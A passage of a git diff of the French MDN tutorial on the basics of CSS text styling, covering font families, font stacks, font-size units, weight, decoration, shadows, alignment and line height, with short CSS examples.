sans-serifLes polices qui n'ont pas d'empattementsMon grand éléphant rouge
monospaceLes polices dans lesquelles chaque caractère a la même largeur, généralement utilisées dans les listes de codes.Mon grand éléphant rouge
cursiveLes polices destinées à émuler l'écriture, avec des traits fluides et connectés.Mon grand éléphant rouge
fantasyLes polices destinées à être décoratives.Mon grand éléphant rouge
+ +

Pile de polices

+ +

Comme la disponibilité des polices que vous souhaitez utiliser sur vos pages web n'est pas garantie (même une police web peut échouer pour une raison quelconque), vous pouvez indiquer une pile de polices afin que le navigateur ait à sa disposition plusieurs polices. Il convient simplement d'indiquer pour valeur de font-family plusieurs noms de polices séparés par des virgules, par exemple :

+ +
p {
+  font-family: "Trebuchet MS", Verdana, sans-serif;
+}
+ +

Dans ce cas, le navigateur débute la lecture de la liste et cherche à voir si cette police est disponible sur la machine. Si c'est le cas, il applique cette police aux éléments sélectionnés. Sinon, il passe à la police suivante et ainsi de suite.

+ +

Indiquer un nom de police générique approprié en fin de liste est une bonne idée : si aucune des polices listées n'est disponible, le navigateur peut au‑moins fournir quelque chose de convenable. Soulignons ce point : les paragraphes seront rendus avec la police serif par défaut du navigateur si aucune autre option n'est disponible — généralement Time New Roman — mais ce ne sera pas un bon substitut à une police sans-serif !

+ +
+

Note : Les noms de police comportant plus d'un mot — comme Trebuchet MS — doivent être entourés de guillemets, par exemple "Trebuchet MS".

+
+ +

Un exemple de font-family

+ +

Faisons un ajout à notre exemple précédent et donnons aux paragraphes une police sans-serif :

+ +
p {
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

Cela donne le résultat suivant :

+ + + +

{{ EmbedLiveSample('Un_exemple_de_font-family', '100%', 220) }}

+ +

Taille de la police de caractères

+ +

Dans l'article Valeurs et unités CSS de notre prédédent module, nous avons vu les unités de longueur et taille. La taille des polices de caractères (définie avec la propriété {{cssxref("font-size")}}) accepte la plupart des unités de valeur (et d'autres comme les pourcentages). Toutefois, les unités les plus couramment utilisées pour dimensionner le texte sont :

+ +
    +
  • px (pixels) : le nombre de pixels souhaités pour la hauteur du texte. C'est une unité absolue — il en résulte une même valeur finale calculée de la police sur la page dans à peu près n'importe quelle situation.
    • +
  • em : 1 em est égal à la taille de la police définie sur l'élément parent de l'élément courant que nous composons (plus précisément, la largeur d'un « M » majuscule de l'élément parent). Cette valeur peut devenir difficile à déterminer si vous avez beaucoup d'imbrications avec diverses tailles de police, mais cela reste faisable, comme vous le verrez ci-dessous. Pourquoi s'embêter ? C'est assez naturel, une fois que vous y êtes habitué ; vous pouvez utiliser em pour tout dimensionner, pas seulement du texte. Vous pouvez avoir un site web entier dimensionné avec des em, la maintenance en sera facilitée.
    • +
  • rem : il fonctionne comme em, excepté que un rem est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les rem ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux em ou aux px, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que REM-unit-polyfill.
    • +
+ +

La propriété font-size d'un élément est héritée de son parent. Tout commence par l'élément racine de l'ensemble du document — {{htmlelement("html")}} — dont la propriété font‑size est normée à 16 px sur les navigateurs. Tout paragraphe (ou tout autre élément dont la taille n'a pas été définie différemment par le navigateur) à l'intérieur de l'élément racine aura une taille finale de 16 px. D'autres éléments peuvent avoir des tailles par défaut différentes, par exemple un élément {{htmlelement ("h1")}} a une taille de 2 em définie par défaut, donc aura une taille finale de 32 px.

+ +

Les choses deviennent plus difficiles lorsque vous commencez à modifier la taille de la police des éléments imbriqués. Par exemple, vous avez un élément {{htmlelement ("article")}} dans la page dont la taille de police est 1.5 em (24 px), puis, vous voulez que les paragraphes de l'<article> aient une taille de police calculée de 20 px, quelle valeur de em utiliseriez-vous ?

+ +
<!-- font-size vaut 16px pour la base du document -->
+<article> <!-- Si font-size vaut 1.5em -->
+  <p>Mon paragraphe</p> <!-- Comment calculer une hauteur de fonte de 20px ? -->
+</article>
+ +

Vous devrez définir sa valeur em à 20/24 ou 0,83333333 em. Les mathématiques peuvent être compliquées, vous devez donc faire attention à la façon dont vous composez les choses. Il est préférable d'utiliser rem quand vous le pouvez, pour garder les choses simples et éviter d'avoir à définir la taille des polices des éléments du conteneur si possible.

+ +

Un simple exemple de dimensionnement

+ +

Quand vous dimensionnez votre texte, c'est généralement une bonne idée de définir la font‑size de base du document à 10 px, de sorte que les maths sont beaucoup plus faciles à travailler — les valeurs requises (r) em sont alors la taille de la police en pixels divisée par 10, et non par 16. Après cela, vous pouvez facilement dimensionner les différents types de texte dans votre document à votre goût. C'est une bonne idée de lister tous les jeux de règles de font‑size dans une zone désignée de votre feuille de style, afin qu'ils soient faciles à trouver.

+ +

Notre nouveau résultat ressemble à :

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('Un_simple_exemple_de_dimensionnement', '100%', 220) }}

+ +

Style de fonte, graisse, transformation et décoration de texte

+ +

CSS fournit quatre propriétés communes pour modifier le poids et l'emphase visuelles du texte :

+ +
    +
  • {{cssxref("font-style")}} : utilisé pour appliquer ou enlever le style italique. Les valeurs possibles sont les suivantes (vous ne l'utiliserez que rarement, sauf si vous souhaitez désactiver le style italique pour une raison quelconque) : +
      +
    • normal : fige le texte en police normale (suppression du style italique existant).
      • +
    • italic : met le texte en  version italique de la police si elle est disponible ; si elle n'existe pas, le style italique sera émulé avec l'option oblique à la place.
      • +
    • oblique : force le texte à utiliser une version simulée de fonte italique, créée en inclinant la version normale.
      • +
    +
    • +
  • {{cssxref("font-weight")}} : définit la graisse du texte. La propriété peut avoir de nombreuses valeurs s'il y a de nombreuses variantes de polices disponibles (comme -light, -normal, -bold, -extrabold, -black, etc.), mais en réalité, vous les utiliserez rarement en dehors de normal et bold (gras): +
      +
    • normal, bold : graisse de la police, normale ou bold.
      • +
    • lighter, bolder : définit la graisse de l'élément courant de sorte qu'il soit un cran moins gras ou plus gras que son parent.
      • +
    • 100–900 : valeurs numériques du taux de graisse ; elles permettent un dosage plus fin que les mots-clés ci-dessus, si nécessaire.
      • +
    +
    • +
  • {{cssxref("text-transform")}} : Vous permet de définir les transformations de votre police. Les valeurs comprennent : +
      +
    • none : aucune transformation.
      • +
    • uppercase : met tout le texte en majuscules.
      • +
    • lowercase : met tout le texte en minuscules.
      • +
    • capitalize : transforme tous les mots en mettant leur première lettre en majuscules.
      • +
    • full-width : force l'écriture de tous les glyphes dans un carré de largeur fixe, similaire à une police à espacement fixe, permettant leur alignement, par ex. caractères latins avec des glyphes de langue asiatique (comme le chinois, le japonais, le coréen.)
      • +
    +
    • +
  • {{cssxref("text-decoration")}} : active ou désactive les décorations de texte sur les polices (vous les utiliserez principalement pour désactiver le soulignement par défaut sur les liens lors de leur création). Les valeurs disponibles sont : +
      +
    • none: désactive les décorations du texte déjà présentes.
      • +
    • underline: souligne le texte.
      • +
    • overline: trace une ligne au-dessus du texte.
      • +
    • line-through: barre le texte.
      • +
    + Vous devez noter que {{cssxref("text-decoration")}} peut accepter plusieurs valeurs à la fois, si vous voulez en ajouter plusieurs simultanément, par exemple text-decoration: underline overline. Notez aussi que {{cssxref("text-decoration")}} est la propriété raccourcie pour {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-style")}} et {{cssxref("text-decoration-color")}}. Vous pouvez utiliser des combinaisons de ces valeurs de propriété pour créer des effets intéressants, par exemple text-decoration: line-through red wavy.
    • +
+ +

Regardons l'ajout de quelques-unes de ces propriétés à notre exemple.

+ +

Notre nouveau résultat ressemble à :

+ + + +
html {
+  font-size: 10px;
+}
+
+h1 {
+  font-size: 2.6rem;
+  text-transform: capitalize;
+}
+
+h1 + p {
+  font-weight: bold;
+}
+
+p {
+  font-size: 1.4rem;
+  color: red;
+  font-family: Helvetica, Arial, sans-serif;
+}
+ +

{{ EmbedLiveSample('Style_de_fonte_graisse_transformation_et_décoration_de_texte', '100%', 220) }}

+ +

Ombres du texte

+ +

Vous pouvez ombrer votre texte avec la propriété {{cssxref("text-shadow")}}. Elle prend 4 valeurs, comme vous pouvez le voir dans l'exemple ci-dessous :

+ +
text-shadow: 4px 4px 5px red;
+ +

Les 4 propriétés sont les suivantes :

+ +
    +
  1. Le décalage horizontal de l'ombre par rapport au texte original — cette grandeur acepte la plupart des unités de longueur et de taille des CSS disponibles, mais vous utiliserez en règle générale le px. Cette valeur doit être précisée.
    2. +
  2. Le décalage vertical de l'ombre par rapport au texte original — cette grandeur se comporte à la base comme la précédente, sauf que l'ombre est portée vers le haut ou vers le bas, et non vers la gauche ou la droite. Cette valeur doit être précisée.
    3. +
  3. Le rayon de floutage — plus cette valeur est élevée, plus l'ombre est étalée largement. Si cette valeur n'est pas précisée, la valeur par défaut est 0, ce qui signifie pas de flou. Elle accepte toutes les unités de longueur et de taille des CSS.
    4. +
  4. La couleur de l'ombre, qui peut prendre toute unité de couleur CSS. Si elle n'est pas définie, c'est la couleur noire par défaut.
    5. +
+ +
+

Note : Les valeurs positives de décalage déplacent l'ombre à droite et en bas, mais vous pouvez aussi utiliser des valeurs négatives pour obtenir une ombre à gauche et en haut, par exemple -1px -1px.

+
+ +

Ombres multiples

+ +

Vous pouvez appliquer plusieurs ombres à un même texte, en mettant plusieurs valeurs d'ombrage séparées par une virgule, par exemple :

+ +
text-shadow: -1px -1px 1px #aaa,
+             0px 4px 1px rgba(0,0,0,0.5),
+             4px 4px 5px rgba(0,0,0,0.7),
+             0px 0px 7px rgba(0,0,0,0.4);
+ +

Si nous l'appliquons à l'élément {{htmlelement ("h1")}} de notre exemple Tommy le Chat, nous nous obtenons :

+ + + +

{{ EmbedLiveSample('Ombres_du_texte', '100%', 220) }}

+ +
+

Note : Vous pouvez voir plus d'exemples intéressants de text-shadow dans l'article de Sitepoint Moonlighting with CSS text-shadow (Clair de lune avec text-shadow).

+
+ +

Mise en page du texte

+ +

Après les propriétés de base des polices, examinons maintenant celles permettant de modifier la disposition des textes.

+ +

Alignement du texte

+ +

La propriété {{cssxref("text-align")}} s'utilise pour contrôler la disposition du texte dans la zone de contenu. Les valeurs acceptées sont les suivantes. Elles fonctionnent à peu près de la même manière que dans un traitement de texte :

+ +
    +
  • left: le texte est aligné à gauche.
    • +
  • right: le texte est aligné à droite.
    • +
  • center: le texte est centré.
    • +
  • justify: étale le texte, en faisant varier les espaces entre les mots afin de donner la même largeur à toutes les lignes du texte. Vous devez l'utiliser avec discernement — il peut sembler parfait, surtout lorsqu'il est appliqué à un paragraphe avec beaucoup de longs mots. Si vous voulez l'utiliser, vous devriez aussi penser à utiliser quelque chose d'autre, comme {{cssxref ("hyphens")}}, pour couper certains des mots les plus longs entre les lignes.
    • +
+ +

Si nous appliquons text-align: center; à l'élément {{htmlelement("h1")}} de notre exemple, nous aurons :

+ + + +

{{ EmbedLiveSample('Alignement_du_texte', '100%', 220) }}

+ +

Hauteur de ligne

+ +

La propriété {{cssxref ("line-height")}} définit la hauteur de chaque ligne de texte — elle peut prendre la plupart des unités de longueur et de taille, mais elle peut également prendre une valeur sans unité, qui agit comme un multiplicateur et est considérée habituellement comme la meilleure option — la valeur de {{cssxref ("font-size")}} est multipliée par ce facteur pour obtenir la valeur de line-height. Le corps de texte semble généralement plus agréable et est plus facile à lire lorsque les lignes sont espacées ; la hauteur de ligne recommandée est d'environ 1,5-2 (double interligne). Donc, pour définir une hauteur de ligne de texte égale à 1,5 fois la hauteur de la police, vous utiliserez ceci :

+ +
line-height: 1.5;
+ +

En appliquant cette règle à l'élément {{htmlelement("p")}}  de l'exemple, nous obtenons :

+ + + +

{{ EmbedLiveSample('Hauteur_de_ligne', '100%', 250) }}

+ +

Espacement entre les lettres et les mots

+ +

Les propriétés {{cssxref ("letter-spacing")}} et {{cssxref ("word-spacing")}} permettent de définir l'espacement entre les lettres et les mots de votre texte. Vous ne les utiliserez pas très souvent, mais vous pourriez les utiliser pour obtenir une certaine apparence ou pour améliorer la lisibilité d'une police particulièrement dense. Ils peuvent prendre la plupart des unités de longueur et de taille.

+ +

Si nous appliquons les paramètres suivants à la première ligne des éléments {{htmlelement("p")}} dans notre exemple :

+ +
p::first-line {
+  letter-spacing: 2px;
+  word-spacing: 4px;
+}
+ +

Nous obtiendrons :

+ + + +

{{ EmbedLiveSample('Espacement_entre_les_lettres_et_les_mots', '100%', 250) }}

+ +

D'autres propriétés intéressantes

+ +

Les propriétés ci-dessus donnent un début d'idée de la manière de composer un style pour un texte de page web, mais beaucoup d'autres propriétés peuvent être utilisées. Nous n'avons juste évoqué que les plus importantes. Une fois que vous serez un familier de l'utilisation de ce qui précède, explorez donc ce qui suit :

+ +

Styles de police de caractères :

+ +
    +
  • {{cssxref("font-variant")}} : bascule entre petites majuscules et police normale, et réciproquement.
    • +
  • {{cssxref("font-kerning")}} : active et désactive les options de crénage des polices.
    • +
  • {{cssxref("font-feature-settings")}} : active et désactive les fonctionnalités des polices de caractères OpenType.
    • +
  • {{cssxref("font-variant-alternates")}} : contrôle l'utilisation de glyphes alternatifs pour une apparence de police donnée.
    • +
  • {{cssxref("font-variant-caps")}}: contrôle l'utilisation de glyphes alternatifs en capitales.
    • +
  • {{cssxref("font-variant-east-asian")}} : contrôle l'utilisation de glyphes alternatifs pour les écritures des pays de l'est de l'Asie, comme le japonais ou le chinois.
    • +
  • {{cssxref("font-variant-ligatures")}} : contrôle les ligatures et formes contextuelles utilisées dans le texte.
    • +
  • {{cssxref("font-variant-numeric")}} : contrôle l'utilisation de glyphes alternatifs pour les nombres, les fractions et les marqueurs ordinaux.
    • +
  • {{cssxref("font-variant-position")}} : contrôle l'utilisation de glyphes alternatifs de plus petites tailles positionnés en exposant ou en indice.
    • +
  • {{cssxref("font-size-adjust")}} : ajuste la taille visuelle de la police indépendamment de sa taille réelle.
    • +
  • {{cssxref("font-stretch")}} : bascule entre les versions étirées alternatives possibles d'une police donnée.
    • +
  • {{cssxref("text-underline-position")}} : définit la position du soulignement avec la valeur underline pour la propriété text-decoration-line.
    • +
  • {{cssxref("text-rendering")}} : essaye d'effectuer une optimisation du rendu du texte.
    • +
+ +

styles de mise en page du texte

+ +
    +
  • {{cssxref("text-indent")}} : indique le nombre d'espaces à ménager horizontalement avant le début de la première ligne de texte du contenu.
    • +
  • {{cssxref("text-overflow")}} : définit la façon de signaler aux utilisateurs le contenu en débordement (et donc non affiché).
    • +
  • {{cssxref("white-space")}} : définit comment les espaces blancs et les sauts de ligne associés dans l'élément sont gérés.
    • +
  • {{cssxref("word-break")}} : spécifie s'il y a césure dans les mots.
    • +
  • {{cssxref("direction")}} : définit la direction du texte (cela dépend de la langue et généralement, il vaut mieux laisser HTML la gérer car elle est liée au contenu du texte.)
    • +
  • {{cssxref("hyphens")}} : active et désactive la césure pour les langues prises en charge.
    • +
  • {{cssxref("line-break")}} : détend ou renforce la rupture de ligne pour les langues asiatiques.
    • +
  • {{cssxref("text-align-last")}} : définit comment la dernière ligne d'un bloc ou d'une ligne, juste avant un saut de ligne forcé, est alignée.
    • +
  • {{cssxref("text-orientation")}} : définit l'orientation du texte dans une ligne.
    • +
  • {{cssxref("word-wrap")}} : indique si le navigateur peut replier une ligne en conservant l'ordre des mots pour empêcher un débordement.
    • +
  • {{cssxref("writing-mode")}} : définit si les lignes de texte sont disposées horizontalement ou verticalement et la direction des lignes suivantes.
    • +
+ +

Abréviations pour propriétés de fontes

+ +

De nombreuses propriétés des fontes peuvent être déclarées de manière abrégée avec {{cssxref("font")}}. Elles sont écrites dans l'ordre suivant : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}} et {{cssxref("font-family")}}.

+ +

Parmi toutes ces propriétés, seules font-size et font-family sont requises lorsque la propriété abrégée font est utilisée.

+ +

Une barre oblique doit être placée entre les propriétés {{cssxref("font-size")}} et {{cssxref("line-height")}}.

+ +

Un exemple complet ressemblerait à ceci :

+ +
font: italic normal bold normal 3em/1.5 Helvetica, Arial, sans-serif;
+ +

Apprentissage actif : jouer avec les styles du texte

+ +

Dans cette session d'apprentissage actif, nous n'avons pas d'exercice spécifique à vous proposer : nous voulons juste vous permettre de jouer avec certaines propriétés de police ou mise en page de texte et de voir ce que vous pouvez produire ! Vous pouvez le faire en utilisant des fichiers HTML / CSS hors ligne ou en entrant votre code dans l'exemple modifiable en direct ci-dessous.

+ +

Si vous faites une erreur, vous pouvez toujours Réinitialiser avec le bouton de même nom.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 800) }}

+ +

Résumé

+ +

Nous espérons que vous avez aimé jouer avec le texte dans cet article ! Le prochain article vous donnera tout ce que vous devez savoir sur le style des listes HTML.

+ +

{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}

+ +

Dans ce module

+ +

 

+ + + +

 

+ +

 

diff --git a/files/fr/learn/css/styling_text/initiation-mise-en-forme-du-texte/index.html b/files/fr/learn/css/styling_text/initiation-mise-en-forme-du-texte/index.html deleted file mode 100644 index 283d1fff00..0000000000 --- a/files/fr/learn/css/styling_text/initiation-mise-en-forme-du-texte/index.html +++ /dev/null @@ -1,756 +0,0 @@ ---- -title: Initiation à la mise en forme du texte -slug: Learn/CSS/Styling_text/initiation-mise-en-forme-du-texte -tags: - - Alignement - - CSS - - Débutant - - Guide - - Polices de caractères - - Style - - Texte -translation_of: Learn/CSS/Styling_text/Fundamentals ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/CSS/Styling_text/Styling_lists", "Learn/CSS/Styling_text")}}
- -

Dans cet article, nous allons commencer le voyage vers la maîtrise des styles du texte avec {{glossary("CSS")}}. Nous passerons en revue les principes de base de mise en forme du texte, y compris la graisse, la famille et le style de police, les codes d'abréviation, l'alignement du texte et autres effets, ainsi que l'espacement des lignes et des lettres.

- - - - - - - - - - - - -
Prérequis :Connaissances informatiques de base, les bases HTML (étudiées dans l'Introduction au HTML), les bases CSS (étudiées dans Introduction à CSS).
Objectif :Apprendre les techniques et propriétés fondamentales nécessaires pour composer du texte sur les pages web.
- -

En quoi consiste la mise en forme du texte avec CSS ?

- -

Comme vous l'avez déjà vu dans votre apprentissage de HTML et CSS, le texte d'un élément est placé à l'intérieur de la boîte de contenu de cet élément. Il débute en haut à gauche de cette zone (ou en haut à droite, dans le cas des contenus en langues s'écrivant de droite à gauche) et se poursuit vers la fin de la ligne. Arrivé en bout de ligne, il descend à la ligne suivante et continue, puis va à la ligne suivante, jusqu'à ce que tout le contenu ait été placé. Les contenus textuels se comportent comme une suite d'éléments en ligne placés les uns à côté des autres. Aucun saut de ligne n'est créé avant que la fin de la ligne soit atteinte, sauf si vous forcez manuellement le saut de ligne avec l'élément {{htmlelement("br")}}.

- -
-

Note : si le paragraphe ci‑dessus vous paraît confus,  pas de problème — revenez en arrière et revoyez l'article sur la théorie du Modèle de boîte avant de poursuivre.

-
- -

Les propriétés CSS utilisées pour le style de texte appartiennent généralement à deux catégories, que nous verrons séparément dans cet article :

- -
    -
  • Styles de la police de caractères : ces propriétés concernent la fonte appliquée au  texte, affectant sa police, sa taille, sa graisse, si elle est italique, etc.
    • -
  • Styles de composition du texte : ces propriétés influent sur les espacements et autres dispositions de mise en page du texte, permettant de modifier, par exemple, l'espacement entre lignes et entre caractères, et la manière de disposer le texte  dans la boîte de contenu.
    • -
- -
-

Note : Gardez à l'esprit que le texte à l'intérieur d'un élément est affecté comme une seule entité. Vous ne pouvez pas sélectionner et mettre en forme des sous-sections de texte, sauf si vous les enveloppez dans un élément approprié (tel que {{htmlelement ("span")}} ou {{htmlelement ("strong")}}, ou utilisez un texte pseudo-élément spécifique comme ::first-letter (sélectionne la première lettre du texte d'un élément), ::first-line (sélectionne la première ligne du texte d'un élément) ou ::selection (sélectionne le texte actuellement mis en surbrillance par le curseur) .

-
- -

Fontes

- -

Passons directement aux propriétés pour le style des polices. Dans cet exemple, nous allons appliquer différentes propriétés CSS au même exemple HTML, qui ressemble à ceci :

- -
<h1>Tommy le Chat</h1>
-
-<p>Je m'en souviens comme mon dernier repas...</p>
-
-<p>Dit Tommy le Chat en jetant la tête en arrière pour dégager
-ce corps étranger qui s'était niché au fond de sa redoutable gueule.
-Beaucoup de rats bien gras trépassèrent dans la ruelle en regardant l'étoile
-brillant au fond du canon de cet extraordinaire rôdeur en quête de proie.
-Un véritable miracle de la nature ce prédateur urbain — Tommy le Chat
-avait beaucoup d'histoires à raconter. Mais il ne le faisait qu'en de rares
-occasions, comme maintenant.</p>
- -
-

(NdT : Extrait et traduction approximative de la chanson Tommy the Cat du groupe Primus)

-
- -

Vous pouvez trouver l'exemple (en) fini sur Github (voir aussi le code source).

- -

Couleur

- -

La propriété {{cssxref("color")}} définit la couleur du contenu d'avant‑plan des éléments sélectionnés (généralement du texte, mais peut être autre chose, comme un soulignement ou un surlignage créé avec la propriété {{cssxref("text-decoration")}}.

- -

color accepte toutes les unités de couleur des CSS, par exemple :

- -
p {
-  color: red;
-}
- -

Les paragraphes seront en rouge, au lieu d'être de couleur noire, couleur par défaut du navigateur standard :

- - - -

{{ EmbedLiveSample('Couleur', '100%', 220) }}

- -

Familles de fontes

- -

Pour définir une police de caractères différente pour le texte, utilisez la propriété {{cssxref("font-family")}} — cela vous permet de spécifier une police (ou une liste de polices) que le navigateur doit appliquer aux éléments sélectionnés. Le navigateur n'appliquera une police de caractères que si elle est disponible sur la machine sur laquelle le site est accessible, sinon, il utilisera une  {{anch("Default fonts", "police par défaut")}} . Un exemple simple pour voir cela :

- -
p {
-  font-family: arial;
-}
- -

Cette commande définit la police de caractères arial (qui existe sur tous les ordinateurs) pour tous les paragraphes de la page.

- -

Polices web sûres

- -

En parlant de la disponibilité des polices, il y a seulement un certain nombre de polices qui sont généralement disponibles sur tous les systèmes, et peuvent donc être utilisées sans trop de soucis. Ce sont les polices web dites sûres.

- -

La plupart du temps, en tant que développeur web, nous voulons avoir un contrôle précis sur les polices utilisées pour afficher le contenu textuel. Le problème est de trouver un moyen de savoir quelle police est disponible sur l'ordinateur utilisé pour voir nos pages web. Il n'y a aucun moyen systématique de le savoir, mais les polices web sûres sont disponibles sur presque tous les systèmes d'exploitation les plus utilisés (Windows, Mac, les distributions Linux les plus courantes, Android et iOS).

- -

La liste des polices web vraiment sûres changera à mesure que les systèmes d'exploitation évolueront, mais on peut considérer les polices suivantes comme sûres sur le web, du moins pour le moment (beaucoup ont été popularisées grâce aux polices Microsoft Core pour le web à la fin des années 90 et début des années 2000) :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
NomType génériqueNotes
Arialsans-serifIl est de bonne pratique d'ajouter Helvetica en tant qu'alternative préférée d'Arial car, bien que leurs apparences soient presque identiques, Helvetica est considérée comme ayant une forme plus agréable, même si Arial est plus courante.
Courier NewmonospaceCertains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police Courier New appelée Courier. Il est recommandé d'utiliser les deux avec Courier New comme alternative préférée.
Georgiaserif 
Times New RomanserifCertains systèmes d'exploitation ont une version alternative (peut-être plus ancienne) de la police Times New Roman appelée Times. Il est recommandé d'utiliser les deux avec Times New Roman comme alternative préférée.
Trebuchet MSsans-serifVous devriez être prudent avec l'utilisation de cette police - elle n'est pas aussi largement disponible sur les systèmes d'exploitation des mobiles.
Verdanasans-serif 
- -
-

Note : Le site cssfontstack.com met à votre disposition, entre autres ressources, une liste de polices web sûres disponibles sur les systèmes d'exploitation Windows et Mac OS. Elle peut faciliter votre prise de décision quant à ce que vous considérerez comme sûr pour votre usage.

-
- -
-

Note : Il y a moyen de télécharger une police personnalisée avec une page Web ; cela permet une utilisation personnalisée de la police comme vous le souhaitez : les polices web. C'est un peu plus complexe, et nous en discuterons dans un article séparé plus loin dans le module.

-
- -

Polices par défaut

- -

CSS définit cinq noms génériques pour les polices : serif, sans-serif, monospace, cursive et fantasy. À cause de leur caractère générique la police de caractères exacte utilisée, lors de l'emploi de ces noms, dépend de chaque navigateur et peut varier pour chaque système d'exploitation sur lequel ils s'exécutent. Dans le pire des cas, le navigateur essaiera de trouver une police appropriée.serif, sans-serif et monospace sont tout à fait prévisibles et devraient donner quelque chose de raisonnable. Par contre, cursive et fantasy sont moins prévisibles et nous vous recommandons de les utiliser avec précaution, en les testant au fur et à mesure.

- -

Les 5 noms sont définis comme suit :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TermeDéfinitionExemple
serifLes polices qui ont des sérifs (fioritures et autres petits détails que vous voyez en extrémité de trait dans certaines polices)Mon grand éléphant rouge
sans-serifLes polices qui n'ont pas d'empattementsMon grand éléphant rouge
monospaceLes polices dans lesquelles chaque caractère a la même largeur, généralement utilisées dans les listes de codes.Mon grand éléphant rouge
cursiveLes polices destinées à émuler l'écriture, avec des traits fluides et connectés.Mon grand éléphant rouge
fantasyLes polices destinées à être décoratives.Mon grand éléphant rouge
- -

Pile de polices

- -

Comme la disponibilité des polices que vous souhaitez utiliser sur vos pages web n'est pas garantie (même une police web peut échouer pour une raison quelconque), vous pouvez indiquer une pile de polices afin que le navigateur ait à sa disposition plusieurs polices. Il convient simplement d'indiquer pour valeur de font-family plusieurs noms de polices séparés par des virgules, par exemple :

- -
p {
-  font-family: "Trebuchet MS", Verdana, sans-serif;
-}
- -

Dans ce cas, le navigateur débute la lecture de la liste et cherche à voir si cette police est disponible sur la machine. Si c'est le cas, il applique cette police aux éléments sélectionnés. Sinon, il passe à la police suivante et ainsi de suite.

- -

Indiquer un nom de police générique approprié en fin de liste est une bonne idée : si aucune des polices listées n'est disponible, le navigateur peut au‑moins fournir quelque chose de convenable. Soulignons ce point : les paragraphes seront rendus avec la police serif par défaut du navigateur si aucune autre option n'est disponible — généralement Time New Roman — mais ce ne sera pas un bon substitut à une police sans-serif !

- -
-

Note : Les noms de police comportant plus d'un mot — comme Trebuchet MS — doivent être entourés de guillemets, par exemple "Trebuchet MS".

-
- -

Un exemple de font-family

- -

Faisons un ajout à notre exemple précédent et donnons aux paragraphes une police sans-serif :

- -
p {
-  color: red;
-  font-family: Helvetica, Arial, sans-serif;
-}
- -

Cela donne le résultat suivant :

- - - -

{{ EmbedLiveSample('Un_exemple_de_font-family', '100%', 220) }}

- -

Taille de la police de caractères

- -

Dans l'article Valeurs et unités CSS de notre prédédent module, nous avons vu les unités de longueur et taille. La taille des polices de caractères (définie avec la propriété {{cssxref("font-size")}}) accepte la plupart des unités de valeur (et d'autres comme les pourcentages). Toutefois, les unités les plus couramment utilisées pour dimensionner le texte sont :

- -
    -
  • px (pixels) : le nombre de pixels souhaités pour la hauteur du texte. C'est une unité absolue — il en résulte une même valeur finale calculée de la police sur la page dans à peu près n'importe quelle situation.
    • -
  • em : 1 em est égal à la taille de la police définie sur l'élément parent de l'élément courant que nous composons (plus précisément, la largeur d'un « M » majuscule de l'élément parent). Cette valeur peut devenir difficile à déterminer si vous avez beaucoup d'imbrications avec diverses tailles de police, mais cela reste faisable, comme vous le verrez ci-dessous. Pourquoi s'embêter ? C'est assez naturel, une fois que vous y êtes habitué ; vous pouvez utiliser em pour tout dimensionner, pas seulement du texte. Vous pouvez avoir un site web entier dimensionné avec des em, la maintenance en sera facilitée.
    • -
  • rem : il fonctionne comme em, excepté que un rem est égal à la taille de la police sur l'élément racine du document (c'est-à-dire {{htmlelement("html")}}) et non le parent direct). Le calcul des tailles de police en est facilité, mais malheureusement les rem ne sont pas pris en charge dans Internet Explorer 8 et avant. Si vous devez prendre en charge des navigateurs plus anciens dans votre projet, vous devrez vous en tenir aux em ou aux px, soit utiliser une prothèse d'émulation ({{glossary ("polyfill")}}) telle que REM-unit-polyfill.
    • -
- -

La propriété font-size d'un élément est héritée de son parent. Tout commence par l'élément racine de l'ensemble du document — {{htmlelement("html")}} — dont la propriété font‑size est normée à 16 px sur les navigateurs. Tout paragraphe (ou tout autre élément dont la taille n'a pas été définie différemment par le navigateur) à l'intérieur de l'élément racine aura une taille finale de 16 px. D'autres éléments peuvent avoir des tailles par défaut différentes, par exemple un élément {{htmlelement ("h1")}} a une taille de 2 em définie par défaut, donc aura une taille finale de 32 px.

- -

Les choses deviennent plus difficiles lorsque vous commencez à modifier la taille de la police des éléments imbriqués. Par exemple, vous avez un élément {{htmlelement ("article")}} dans la page dont la taille de police est 1.5 em (24 px), puis, vous voulez que les paragraphes de l'<article> aient une taille de police calculée de 20 px, quelle valeur de em utiliseriez-vous ?

- -
<!-- font-size vaut 16px pour la base du document -->
-<article> <!-- Si font-size vaut 1.5em -->
-  <p>Mon paragraphe</p> <!-- Comment calculer une hauteur de fonte de 20px ? -->
-</article>
- -

Vous devrez définir sa valeur em à 20/24 ou 0,83333333 em. Les mathématiques peuvent être compliquées, vous devez donc faire attention à la façon dont vous composez les choses. Il est préférable d'utiliser rem quand vous le pouvez, pour garder les choses simples et éviter d'avoir à définir la taille des polices des éléments du conteneur si possible.

- -

Un simple exemple de dimensionnement

- -

Quand vous dimensionnez votre texte, c'est généralement une bonne idée de définir la font‑size de base du document à 10 px, de sorte que les maths sont beaucoup plus faciles à travailler — les valeurs requises (r) em sont alors la taille de la police en pixels divisée par 10, et non par 16. Après cela, vous pouvez facilement dimensionner les différents types de texte dans votre document à votre goût. C'est une bonne idée de lister tous les jeux de règles de font‑size dans une zone désignée de votre feuille de style, afin qu'ils soient faciles à trouver.

- -

Notre nouveau résultat ressemble à :

- - - -
html {
-  font-size: 10px;
-}
-
-h1 {
-  font-size: 2.6rem;
-}
-
-p {
